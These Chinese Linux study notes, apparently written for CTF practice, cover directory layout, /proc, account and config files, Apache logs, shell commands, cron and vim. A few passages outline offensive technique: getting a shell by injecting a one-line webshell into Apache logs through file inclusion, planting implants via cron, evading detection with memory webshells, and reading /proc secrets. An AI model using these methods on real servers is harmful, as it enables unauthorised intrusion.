linux

linux介绍

Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。

主要用于服务器端,嵌入式开发(占用内存少)

文件系统的层次结构

文件系统的最顶层是由根目录开始的,系统使用“**/”来表示根目录**,在根目录之下的既可以是目录,也可以是文件,而每一个目录中又可以包含(子)目录或文件。如此反复就可以构成一个庞大的文件系统。

为了避免诸多Linux发行版使用各部相同的文件系统结构,Linux基金会发布了FHS标准,多数Linux发行版系统都遵循这一标准。

FHS认为根目录(/)下应该包含如下子目录

(官方)

目录

应放置档案内容

/bin

系统有很多放置执行档的目录,但/bin比较特殊。因为/bin放置的是在单人维护模式下还能够被操作的指令。在/bin底下的指令可以被root与一般帐号所使用,主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。

/boot

主要放置开机会使用到的档案,包括Linux核心档案以及开机选单与开机所需设定档等等。Linux kernel常用的档名为:vmlinuz ,如果使用的是grub这个开机管理程式,则还会存在/boot/grub/这个目录。

/dev

(device)在Linux系统上,任何装置与周边设备都是以档案的型态存在于这个目录当中。 只要通过存取这个目录下的某个档案,就等于存取某个装置。比要重要的档案有/dev/null, /dev/zero, /dev/tty , /dev/lp_, / dev/hd_, /dev/sd*等等

/etc***

系统主要的设定档几乎都放置在这个目录内,例如人员的帐号密码档、各种服务的启始档等等。 一般来说,这个目录下的各档案属性是可以让一般使用者查阅的,但是只有root有权力修改。 FHS建议不要放置可执行档(binary)在这个目录中。 比较重要的档案有:/etc/inittab, /etc/init.d/, /etc/modprobe.conf, /etc/X11/, /etc/fstab, /etc/sysconfig/等等。 另外,其下重要的目录有:**/etc/init.d/** :所有服务的预设启动script都是放在这里的,例如要启动或者关闭iptables的话: /etc/init.d/iptables start、/etc/init.d/ iptables stop /etc/xinetd.d/ :这就是所谓的super daemon管理的各项服务的设定档目录。 /etc/X11/ :与X Window有关的各种设定档都在这里,尤其是xorg.conf或XF86Config这两个X Server的设定档。(配置信息)

/home

这是系统预设的使用者家目录(home directory)。 在你新增一个一般使用者帐号时,预设的使用者家目录都会规范到这里来。比较重要的是,家目录有两种代号: ~ :代表当前使用者的家目录,而 ~guest:则代表用户名为guest的家目录。

/lib

系统的函式库非常的多,而/lib放置的则是在开机时会用到的函式库,以及在/bin或/sbin底下的指令会呼叫的函式库而已 。 什么是函式库呢?妳可以将他想成是外挂,某些指令必须要有这些外挂才能够顺利完成程式的执行之意。 尤其重要的是/lib/modules/这个目录,因为该目录会放置核心相关的模组(驱动程式)。

/media

media是媒体的英文,顾名思义,这个/media底下放置的就是可移除的装置。 包括软碟、光碟、DVD等等装置都暂时挂载于此。 常见的档名有:/media/floppy, /media/cdrom等等。

/mnt

如果妳想要暂时挂载某些额外的装置,一般建议妳可以放置到这个目录中。在古早时候,这个目录的用途与/media相同啦。 只是有了/media之后,这个目录就用来暂时挂载用了。

/opt

这个是给第三方协力软体放置的目录 。 什么是第三方协力软体啊?举例来说,KDE这个桌面管理系统是一个独立的计画,不过他可以安装到Linux系统中,因此KDE的软体就建议放置到此目录下了。 另外,如果你想要自行安装额外的软体(非原本的distribution提供的),那么也能够将你的软体安装到这里来。 不过,以前的Linux系统中,我们还是习惯放置在/usr/local目录下。

/root

系统管理员(root)的家目录。 之所以放在这里,是因为如果进入单人维护模式而仅挂载根目录时,该目录就能够拥有root的家目录,所以我们会希望root的家目录与根目录放置在同一个分区中。

/sbin

Linux有非常多指令是用来设定系统环境的,这些指令只有root才能够利用来设定系统,其他使用者最多只能用来查询而已。放在/sbin底下的为开机过程中所需要的,里面包括了开机、修复、还原系统所需要的指令。至于某些伺服器软体程式,一般则放置到**/usr/sbin/当中。至于本机自行安装的软体所产生的系统执行档(system binary),则放置到/usr/local/sbin/**当中了。常见的指令包括:fdisk, fsck, ifconfig, init, mkfs等等。

/srv

srv可以视为service的缩写,是一些网路服务启动之后,这些服务所需要取用的资料目录。 常见的服务例如WWW, FTP等等。 举例来说,WWW伺服器需要的网页资料就可以放置在/srv/www/里面。呵呵,看来平时我们编写的代码应该放到这里了。

/tmp

这是让一般使用者或者是正在执行的程序暂时放置档案的地方。这个目录是任何人都能够存取的,所以你需要定期的清理一下。当然,重要资料不可放置在此目录啊。 因为FHS甚至建议在开机时,应该要将/tmp下的资料都删除。

还有下面这些

/lost+found

这个目录是使用标准的ext2/ext3档案系统格式才会产生的一个目录,目的在于当档案系统发生错误时,将一些遗失的片段放置到这个目录下。 这个目录通常会在分割槽的最顶层存在,例如你加装一个硬盘于/disk中,那在这个系统下就会自动产生一个这样的目录/disk/lost+found

/proc

这个目录本身是一个虚拟文件系统(virtual filesystem)喔。 他放置的资料都是在内存当中,例如系统核心、行程资讯(process)(是进程吗?)、周边装置的状态及网络状态等等。因为这个目录下的资料都是在记忆体(内存)当中,所以本身不占任何硬盘空间。比较重要的档案(目录)例如: /proc/cpuinfo, /proc/dma, /proc/interrupts, /proc/ioports, /proc/net/*等等。呵呵,是虚拟内存吗[guest]?

/sys

这个目录其实跟/proc非常类似,也是一个虚拟的档案系统,主要也是记录与核心相关的资讯。 包括目前已载入的核心模组与核心侦测到的硬体装置资讯等等。 这个目录同样不占硬盘容量。

推荐博客

https://www.cnblogs.com/silence-hust/p/4319415.html

目录解析

文件

文件类型

1
2
3
4
5
6
7
 [d]  -> directory  目录
 [-] -> 文件
 [l] -> link 连接文档(快捷方式)
 {
    [b] -> 装置文件里的可供存储的接口设备(可随机存取装置)
    [c] -> 装置文件里面的串行端口设备,如键盘鼠标(一次性读取装置)
 } -> 了解即可

权限

1
2
3
4
5
6
7
8
9
10
 r  -> 读权限  值:4
 w -> 写权限 值: 2
 x -> 执行权限 值:1 (对于普通文件代表执行,对于目录文件代表可进入)
 ​
 u -> user属主访问权限(拥有者)
 g -> group属组访问权限(和拥有者同组的人)
 0 -> other其他人访问权限
 ​
 e.g: drwxrwxr-x
      u g o

根目录下所有目录

/bin

bin是binary的缩写,这个目录存放的都是二进制可执行文件,bin目录放置的是最基本的一些命令的可执行文件,比如cp、mv、mkdir、chmod、chown等等。/usr下面也有一个/bin目录,它里面的文件也是一些命令的可执行文件。

bin下存放一些普通的基本命令,如ls,chmod等,这些命令在Linux系统里的配置文件脚本里经常用到。也就是主要放置一些系统的必备执行档

/sbin

s是super user,也就管理员。这个目录和/bin目录很像,也存放着一些程序,不过有些程序需要变成管理员才能执行。主要还是放置一些系统管理的必备程式

/sbin 下的命令属于基本的系统命令,如shutdown,reboot,用于启动系统,修复系统

/etc ***

这个目录用来存放所有的系统管理所需要的配置文件和子目录

/home

用户的主目录,在linux中,每个用户都有一个自己的目录,一般该目录是以用户的账号命名的

/lib

这个目录里面存放着系统最基本的动态连接共享库,其作用类似于Windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。

/lost+found

这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。

/media

linux系统会自动识别一些设备,例如U盘,光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。

/mnt

系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在/mnt/上,然后进入该目录就可以查看光驱里的内容了。

/opt ***

这个给主机额外安装软件所摆放的目录。比如安装一个oracle数据库就可以放到这个目录下。默认是空的。

/proc

这个目录是一个虚拟目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里

/root

该目录为系统管理员,也称作超级权限者的用户主目录

/selinux

这个目录是Redhat/centOS所特有的目录,selinux是一个安全机制,类似于Windows的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。

/srv

该目录存放一些服务启动之后需要提取的数据

/sys

这是Linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统sysfs

/tmp

这个目录只用来存放一些临时文件的。

/usr

用户的很多应用程序和文件都放在这个目录下,类似于Windows下的program files目录。

/usr/bin

系统用户使用的应用程序

/usr/bin存放一些用户命令。

是你在后期安装的一些软件的运行脚本。主要放置一些应用软体工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome_、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb_、wget等。

/usr/sbin

超级用户使用的比较高级的管理员程序和系统守护系统。 /usr/sbin存放的一些非必须的系统命令

放置一些用户安装的系统管理的必备程式例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等。

/usr/src

内核源码默认的放置位置

/var ***

这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件

重要目录

/proc

文件系统

一种文件系统,一种伪文件系统(也即虚拟文件系统)伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系统内核读出所需信息并提交的

用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

还有的是一些以数字命名的目录,它们是进程目录(一个目录就是一个进程)。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。

各种目录

/proc/cmdline

载入 kernel 时所下达的相关指令与参数!查阅此文件,可了解指令是如何启动的!

例如:pythonloader.pyc 中间空格被省略掉了,用readline能查看完整的。 此语句意思是用python运行loader.pyc

/proc/N/environ

进程环境变量列表(有些时候一些CTF题会吧重要变量或者值存放在这个目录下

/proc/N/exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

/proc/maps

当前进程关联到的每个可执行文件和库文件在内存中的映射区域及其访问权限所组成的列表

找到/app后的文件:app.cpython-39-x86_64-linux-gnu.so

特殊格式: .so结尾,有版本号信息

/proc/N/fd

包含进程相关的所有的文件描述符

/proc/cpuinfo

本机的 CPU 的相关信息,包含频率类型运算功能

/proc/modules

目前我们的 Linux 已经载入的模块列表,也可以想成是驱动程序啦!

/proc/fb

帧缓冲设备列表,包括数量和控制它的驱动

/proc/stat

系统的一些状态信息,所有的CPU活动信息

/proc/N/cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

e.g: app.cpython-39-x86_64-linux-gnu.so

cat /proc/N/cwd/filename

打开进程当前运行文件

/etc

1
 #这个目录用来存放所有的系统管理所需要的配置文件和子目录
/etc/passwd

用户数据库,其中的域给出了用户名、真实姓名、家目录、加密的口令和用户的其他信息.

每行用户信息都以**”:”**作为分隔符,划分为7个字段。

如下图各个字段含义:

1
2
3
4
5
6
7
 "x":表示此用户设有密码,但不是真正的密码,真正的密码保存在/etc/shadow文件。
 'UID':UID为0就代表这个账号是管理员账号,1-499(系统用户)500-65535(普通用户)
 'shell':shell是Linux的命令解释器,用户和Linux内核之间沟通的桥梁。
 Shell命令解释器的功能就是将用户输入的命令转换成系统可以识别的机器语言。
 通常情况下,Linux系统默认使用的命令解释器是/bin/bash,当然还有其他命令解释器。
 (命令行解释器是一个单独的软件程序,它可在用户和操作系统之间提供直接的通讯。命令行解释器是解释器的一种,用于对命令行进行解释执行。)
 'zsh':2022更新之后kali采用的shell版本,史称终极shell。(zsh搭配上"oh my zsh"真的好用到爆)
/etc/shells

列出可信任的shell.chsh 命令允许用户在本文件指定范围内改变登录shell.提供一台机器FTP服务的服务进程ftpd检查用户shell是否列在 /etc/shells 文件中,如果不是将不允许该用户登录.

1
2
 功能:这个文件记录了你当前Linux系统中所支持的shell版本(只是其中的一部分,还有其他shell在别的路径下)
 作用:系统上合法的shell都要写入到这个文件中。当系统进行某些服务时就能够依据这个文件的记录来进行操作

(用的centos所以没有zsh)

不同的用户登录系统时,系统会给不同的默认shell版本。具体是什么可以在**/etc/passwd**中看shell一栏

shell

Shell是Linux/Unix的一个外壳,你理解成衣服也行。它负责外界与Linux内核的交互,接收用户或其他应用程序的命令,然后把这些命令转化成内核能理解的语言,传给内核,内核是真正干活的,干完之后再把结果返回用户或应用程序。

shell版本

1
2
3
4
5
 sh(Bourne shell):第一个流行的shell由Steven Bourne发展出来的
 csh(C shell):由伯克利大学的Bill Joy设计依附于BSD版的UNIX系统中的shell,这个语言有点类似C语言,所以简称csh
 tcsh:整合了csh,提供了更多的功能
 bash:当前Linux版本的shell。这个shell是Bourne shell的增强版本,也是基于GNU的架构下的发展
 商业上用的K shell,还有TCSH等

Bash shell的功能(dd)

1
 概念:bash是Linux默认的shell,主要兼容与sh

功能①:历史命令

1
2
 ~/.bash_history文件:bash记录了你曾经使用过的命令,不同的用户使用过的历史命令也不同,这些历史命令都记录在自己家目录下的.bash_history文件中
 ~/.bash_history记录的是你上一次登录系统所执行过的命令,而至于这一次所执行过的命令都被缓冲在内存中,当你系统关机/重启后才会更新到~/.bash_history文件中

功能②:命令与文件补齐功能(tab键)

1
2
 Linux系统下tab键补齐功能十分好用
 若安装了bash-completion软件,则在某些命令后面使用Tab按键时,可以进行选项与参数补齐的功能

功能③:命令别名设置功能(alias)

1
 alias命令:这个命令可以给命令取别名

功能④:任务管理、前台、后台控制

1
2
 任务管理的用途广泛,可以将人物丢到后台运行
 任务前、后台的控制可以让任务进行的更为顺利

功能⑤:程序化脚本(shell scripts)

1
2
 从前DOS年代需要将一堆命令写在一起来形成批处理文件(编程语言书写)
 而在Linux系统中,可以通过shell提供的环境变量以及相关命令来设计shell脚本,就能够实现相应的功能

功能⑥:通配符*

1
 Linux使用*通配符,使用方便
/etc/group

  类似/etc/passwd ,但说明的不是用户而是组.

1
2
3
 root:   x  :   0      : 
                     
 组名:组密码:组ID(GID):组中用户
/etc/fstab

  启动时mount -a命令(在/etc/rc 或等效的启动文件中)自动mount的文件系统列表.linux下,也包括用swapon -a启用的swap区的信息.

/etc/rc.d

进程

要弄懂这个文件首先要知道操作系统中进程的意思

1
2
3
4
5
6
7
8
9
 #狭义定义:
 进程是正在运行的程序的实例(an instance of a computer program that is being executed)。
 #广义定义:
 进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动。它是操作系统动态执行的基本单元,在传统的操作系统中,进程既是基本的分配单元,也是基本的执行单元。
 #进程的概念主要有两点:
 第一,进程是一个实体。每一个进程都有它自己的地址空间,一般情况下,包括文本区域(text region)、数据区域(data region)和堆栈(stack region)。文本区域存储处理器执行的代码;数据区域存储变量和进程执行期间使用的动态分配的内存;堆栈区域存储着活动过程调用的指令和本地变量。
 ​
 第二,进程是一个“执行中的程序”。程序是一个没有生命的实体,只有处理器赋予程序生命时(操作系统执行之),它才能成为一个活动的实体,我们称其为进程。
 进程是操作系统中最基本、重要的概念。是多道程序系统出现后,为了刻画系统内部出现的动态情况,描述系统内部各道程序的活动规律引进的一个概念,所有多道程序设计操作系统都建立在进程的基础上。

内容

rc.d的内容如下: init.d/ :各种服务器和程序的二进制文件存放目录。 rc[x].d/: 各个启动级别的执行程序连接目录。里头的东西都是指向init.d/的一些软连接。具体的后边叙述。 还有三个脚本:rc.sysinit, rc, rc.local

CentOS目录(注意kali和centos目录结构略有不同,网上大多是centos的目录结构)

运行级别(run level)

Init进程是系统启动之后的第一个用户进程,所以它的pid(进程编号)始终为1。init进程上来首先做的事是去读取/etc/目录下inittab文件中initdefault id值,这个值称为运行级别(run-level)。它决定了系统启动之后运行于什么级别。运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6 ,具有不同的功能。不同的运行级定义如下:

1
2
3
4
5
6
7
 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
 1 - 单用户模式
 2 - 多用户,没有 NFS
 3 - 完全多用户模式(标准的运行级)
 4 – 系统保留的
 5 - X11 (x window)
 6 - 重新启动 (千万不要把initdefault 设置为6,否则将一直在重启 )

rc.d包含许多系统服务的启动和停止脚本。它控制着所有从 acpid 到 x11-common 的各种事务。

/etc/init.d

目录 /etc/init.d符号链接文件,实际上是链接到目录 /etc/rc.d/init.d

(kali系统下)init.d中的脚本文件:

1
2
3
4
 init.d里面放的都是什么东西?这个目录存放的是一些脚本,一般是linux以rpm包安装时设定的一些服务的启动脚本。系统在安装时装了好多rpm包,这里面就有很多对应的脚本。执行这些脚本可以用来启动,停止,重启这些服务。
 前面说到,/etc/rc.d/init.d这个目录下的脚本就类似与windows中的注册表,在系统启动的时候执行。程序运行到这里(init进程读取了运行级别),相信从命名的角度大家也能猜到该运行/etc/rc.d/init.d里面的脚本了,不然它为什么也叫init(.d)呢是吧。没错,是该运行init.d里的脚本了,但是并不是直接运行,而是有选择的因为系统并不需要启动所有的服务。
    那么,系统是如何选择哪些需要启动哪些不要呢?这时刚才说的运行级别就起作用了。
    在决定了系统启动的run level之后,/etc/rc.d/rc这个脚本先执行。在RH9和FC7的源码中它都是一上来就check_runlevel()(虽然实现的代码不一样,也大同小异),知道了运行级别之后,对于每一个运行级别,在rc.d下都有一个子目录分别是rc0.d,rc1.d ….. rc6.d。每个目录下都是到init.d目录的一部分脚本一些链接。每个级别要执行哪些服务就在相对应的目录下,比如级别5要启动的服务就都放在rc5.d下,但是放在这个rc5.d下的都是一些链接文件,链接到init.d中相对应的文件,真正干活的init.d里的脚本。

放马

这个文件关于计划任务,这中间就存在一定的放马攻击。

内存马的3大特点 内存马的概念特性,除了隐蔽性、不易被察觉以外,其还有如下几个特点:1、内存马无逻辑结构边界,难以被发现。内存马仅存在于进程的内存空间中,通常与正常的/合法的代码、数据混淆。内存马与传统恶意代码的不同之处在于它没有磁盘文件,会导致传统的检测防护手段失效。2、内存马缺乏稳定的静态特征,难以被识别。内存马缺乏结构化的静态形式,它依附在进程运行期间的输入数据进入进程,数据可能被加密混淆,因此,无法通过特征识别内存马。3、 内存马种类多,检测机制复杂而多样。内存马有二进制代码片段(Shellcode)、PowerShell脚本、Web中间件等类型,每种类型又可细分,不同类型内存马的执行方式、恶意代码/行为触发机制各不相同。

/etc/shadow

用于存储 Linux 系统中用户的密码信息,被称为’影子文件‘

在安装了影子口令软件的系统上的影子口令文件.影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对root可读.这使破译口令更困难.

1
2
 每个字段含义:
 用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段

对于加密密码

这里保存的是真正加密的密码。目前 Linux 的密码采用的是 SHA512 散列加密算法,原来采用的是 MD5 或 DES 加密算法。SHA512 散列加密算法的加密等级更高,也更加安全。

/etc/hosts

hosts文件是linux系统中负责ip地址与域名快速解析的文件(和Windows是一样的捏)

hosts文件包含了ip地址和主机名之间的映射,包括主机名的别名,在没有域名服务器的情况下,系统上的所有网络程序都通过查询该文件来解析对应于某个主机名的ip地址,否则就需要使用DNS服务程序来解决。通常可以将常用的域名和ip地址映射加入到hosts文件中,实现快速方便的访问 优先级:dns缓存>hosts>dns服务

格式

1
 ip地址 主机名/域名 (主机别名)

web服务器重要文件

apache
1
 #/etc/apache2
1
 #/etc/apcche2/apache2.conf  ->配置文件

apache2.conf是个主配置文件,当apache2服务器启动时,就将零散的配置文件以Including方式组合在一起。看到这,你就应该知道了,这个文件不是真正的具体配置文件,它只是把各个零散的配置文件以inluceding方式包含进来。apache2.conf其实就是负责调用其他配置文件的。

1
 #/etc/apche2/ports.conf  ->端口配置

ports.cnf记录了服务器使用的端口号,默认监听Listen80,建立自己的网站需要在这里添加网站的端口号,否则无法访问。

<IfModule ssl_module> Listen 443 表示当ssl_module启动时,进行443端口的监听。

sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件

enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。

000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。https还需要申请ssl证书。

1
 #/etc/apache2/sites-available/000-default.conf  ->使用http协议网站的默认网站配置文件

ServerAdmin: 设置一个邮件地址,如果服务器有任何问题将发信到这个地址, 这个地址会在服务器产生的某些页面中出现。

DocumentRoot 是这个站点的根目录,这样 Apache2 启动时会扫描 /etc/apache2/sites-enabled 中可用的 website 配置并加载。

当用户访问localhost:80 时,Apache2 就将 default 站点根目录 /var/www/html 下的index.html(或 index.PHP 等,可配置)作为请求的回应返回给浏览器,然后你能欣赏到的就是 /var/www/html/index.html 这个文件的内容了。

1
 #/var/www/html   ->  网站根目录

例如,/var/www/html/index.php

1
 # /var/log/apache2  -》日志文件

ip 时间 请求方式/请求资源 协议状态码 服务器向客户端发送的字节数 记录从哪个页面链接访问来的(非页面访问则为-) 客户浏览器信息(UA) (请求代理字符串)

日志注入(狭义):

1
2
3
4
 #中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息
 #如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell
 #比如使用代理工具抓包,在HTTP请求中插入一句话木马,访问日志文件时会执行一句话木马,然后使用蚁剑等工具链接,从而getshell(结合文件包含漏洞)
 url:https://blog.csdn.net/wangyuxiang946/article/details/119832592

补充:日志文件

推荐阅读:https://zhuanlan.zhihu.com/p/298335887

作用

1
 日志文件用于记录linux系统的各种运行信息的文件,相当于linux主机的日记,不同的日志文件记载了不同类型的信息,如Linux内核消息、用户登录事件、程序错误等。. 日志文件对于诊断和解决问题很有帮助,因为linux运行的程序通常把系统的消息和错误写入对应的日志文件,这样系统可以有据可查, 此外,当主机遭受攻击时,日志文件还可以帮助寻找攻击者留下的痕迹。

Linux系统本身和大部分服务器程序的日志文件默认放在/var/log/下

用户日志:

存放位置: /var/og/wtmp. /var/log/btmp、 /var/log/lastlog

查询命令: users、who、w、last、 lastlog、 lastb等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 users命令:只是简单的输出当前登录的用户名, 每个显示的用户名对应一个会话。
 who命令:报告当前登录到系统的每个用户的信息,包括用户名,终端,登录日期,远程主机
 w命令: 显示当前操作系统的每个用户及其远程所运行的进程信息
 last命令:用于查询成功登录到系统的用户记录,最近的登录情况在最前面。 通过last命令可以及时掌握Linux主机的登录情况,若发现未经授权的用户登陆过,则表示当前主机可能已被入侵。
 {
 -a :把从何处登录系统的主机名称或IP地址,显示在最后一行
 -d :将IP地址转换成主机名称
 -f 记录文件
 ] :指定记录文件
 -R :不显示登入系统的主机名称或IP地址
 -x :显示系统关闭,重新开机,以及执行等级的改变等
 -n : n代表数字,表示最近n次登录的记录
 }
 lastlog命令:用于显示系统中所有用户最近一次登录信息
 lastb命令:用于显显用户错误的登录列表,此指令可以发现系统的登录异常。如登录的用户名错误,密码不正确等情况都会记录在案,登录失败的情况属于安全事件,因此消失可能有人在尝试破解密码。除了使用lastb命令以外,可以直接从安全日志文件/var/log/secure中获得相关信息。

windows系统下的apache日志目录

nginx(dd)

命令

常见命令
1
2
3
4
5
6
7
 ls:列出目录   {ls -l  -》 ll}
 cd:切换目录  
 pwd:显示当前目录
 mkdir:创建一个新的目录
 rmdir:删除一个空的目录
 cp:复制文件或目录
 rm:移除文件或目录
查看当前用户
1
 whoami
查看ip等信息
1
2
3
 ifcinfig        //查询和配置网络接口
 hostname -I // 显示主机名ip
 ip addr show //查看ipv4,ipv6地址
显示当前位置路径
1
   pwd                         //显示当前位置路径
find
1
2
3
4
5
6
 find . -name "*.c"     //将目前目录及其子目录下所有延伸档名是 c 的文件列出来
 find . -type f         //将目前目录其其下子目录中所有一般文件列出
 find . -ctime -20      //将目前目录及其子目录下所有最近 20 天内更新过的文件列出
 find /var/log -type f -mtime +7 -ok rm {} \;     //查找/var/log目录中更改时间在7日以前的普通文件,并在删除之前询问它们
 find . -type f -perm 644 -exec ls -l {} \;       //查找前目录中文件属主具有读、写权限,并且文件所属组的用户和其他用户具有读权限的文件
 find / -type f -size 0 -exec ls -l {} \;         //为了查找系统中所有文件长度为0的普通文件,并列出它们的完整路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 参数说明 :
 #判断规则
 find 根据下列规则判断 path 和 expression,在命令列上第一个 - ( ) , ! 之前的部份为 path,之后的是 expression。如果 path 是空字串则使用目前路径,如果 expression 是空字串则使用 -print 为预设 expression。
 #expression
 expression 中可使用的选项有二三十个之多,在此只介绍最常用的部份。
 -mount, -xdev : 只检查和指定目录在同一个文件系统下的文件,避免列出其它文件系统中的文件
 -amin n : 在过去 n 分钟内被读取过
 -anewer file : 比文件 file 更晚被读取过的文件
 -atime n : 在过去 n 天内被读取过的文件
 -cmin n : 在过去 n 分钟内被修改过
 -cnewer file :比文件 file 更新的文件
 -ctime n : 在过去 n 天内创建的文件
 -mtime n : 在过去 n 天内修改过的文件
 -empty : 空的文件-gid n or -group name : gid 是 n 或是 group 名称是 name
 -ipath p, -path p : 路径名称符合 p 的文件,ipath 会忽略大小写
 -name name, -iname name : 文件名称符合 name 的文件。iname 会忽略大小写
 -size n : 文件大小 是 n 单位,b 代表 512 位元组的区块,c 表示字元数,k 表示 kilo bytes,w 是二个位元组。
 #关于文件类型
 -type c : 文件类型是 c 的文件。
 d: 目录
 c: 字型装置文件
 b: 区块装置文件
 p: 具名贮列
 f: 一般文件
 l: 符号连结
 s: socket
 #pid
 -pid n : process id 是 n 的文件
 #分割运算符
 你可以使用 ( ) 将运算式分隔,并使用下列运算。
 exp1 -and exp2
 ! expr
 -not expr
 exp1 -or exp2
 exp1, exp2
系统信息(*)
1
2
3
4
5
6
 uname -a    //可以显示一些重要的系统信息,例如内核名称、主机名、内核版本号、处理器类型之类的信息
 ps -ef         //查看所有正在运行的进程
 ps -aux     //显示所有用户打开的进程,包括无控制终端的进程   其中有其他用户的command
 ping IP       //查看与此IP地址的连接情况
 netstat -an   //查看当前系统端口
 netstat -an grep 8080     //查看指定端口
解压缩命令
1
2
3
4
5
6
 # 压缩文件 file1 或目录 dir2 到 test.tar.gz
 tar -zcvf filename.tar.gz file1/dir2
 # 解压 test.tar.gz(将 c 换成 x 即可)
 tar -zxvf test.tar.gz
 # 列出压缩文件的内容
 tar -ztvf test.tar.gz

参数

1
2
3
4
5
     -z -> 使用 gzip 来压缩和解压文件
    -v -> --verbose 详细的列出处理的文件
    -f -> --file=ARCHIVE 使用档案文件或设备,这个选项通常是必选的
    -c -> --create 创建一个新的归档(压缩包)
    -x -> 从压缩包中解出文件
计划任务(dd)

计划任务主要分为以下两种使用情况:

1
2
 1.系统级别的定时任务: 临时文件清理、系统信息采集、日志文件切割
 2.用户级别的定时任务: 定时向互联网同步时间、定时备份系统配置文件、定时备份数据库的数据

crontab是Linux用来定期执行程序的命令。

crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。

1
 crond主要是做一些周期性的任务,比如: 凌晨3点定时备份数据。比如:11点开启网站抢购接口,12点关闭网站抢购接口。

注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行

vim编辑

基本上 vi/vim 共分为三种模式,分别是命令模式(Command mode)输入模式(Insert mode)底线命令模式(Last line mode)

命令模式

用户刚刚启动 vi/vim,便进入了命令模式。此状态下敲击键盘动作会被Vim识别为命令,而非输入字符。

常见命令

  • i 切换到输入模式,以输入字符。
  • x 删除当前光标所在处的字符。
  • : 切换到底线命令模式,以在最底一行输入命令。
  • 若要编辑文本,进入命令模式后,按下i,切换到输入模式

输入模式

  • 字符按键以及Shift组合,输入字符
  • ENTER,回车键,换行
  • BACK SPACE,退格键,删除光标前一个字符
  • ESC,退出输入模式,切换到命令模式

编辑文本主要是现在这个模式,vim比vi升级很多,基本上编辑和一般的文本编辑差不多

底线命令模式

在命令模式下按下:(英文冒号)就进入了底线命令模式

常用命令(忽略冒号)

q :退出程序

w :保存文件

一般编辑过后直接 :wq 然后回车

ESC键可随时退出底线命令模式

重定向

1
 重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置(如:网页重定向、域名的重定向、路由选择的变化也是对数据报文经由路径的一种重定向)。

重定向 HTTP 状态码

和重定向有关的 HTTP 状态码主要是 301、302、303、307、308,最常用的是 301 和 302,可以看看 MDN 官方对它们的解释。

301 是永久重定向(Moved Permanently)说明请求的资源已经被 永久 移动到了由 Location 头部指定的 url 上,是固定的不会再改变,搜索引擎会根据该响应修正。

而 302 是暂时性转移(Moved Temporarily,或者 Found),表明请求的资源被 暂时 移动到了由 Location 头部指定的 URL 上。浏览器会重定向到这个 URL, 但是搜索引擎不会对该资源的链接进行更新。

虽然 301 和 302 都能够将用户输入的网址 A, 改为重定向后的网址 B,但他们还是有区别的:

  • 搜索引擎区别:301 表示原地址 A 的资源已被移除,永远无法访问,搜索引擎抓内容时会将网址 A 全部替换为 B;而 302 表示网址 A 还活着,搜索引擎会在抓取网址 B 新内容的同时,保留网址 A 的记录。
  • 安全性:302 跳转有网站劫持的风险,导致网站被盗用。

在CTF中,重定向考点在于服务器对有flag的网页进行重定向而无法显示flag。

解决办法是使用curl命令(curl命令默认不强制重定向)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
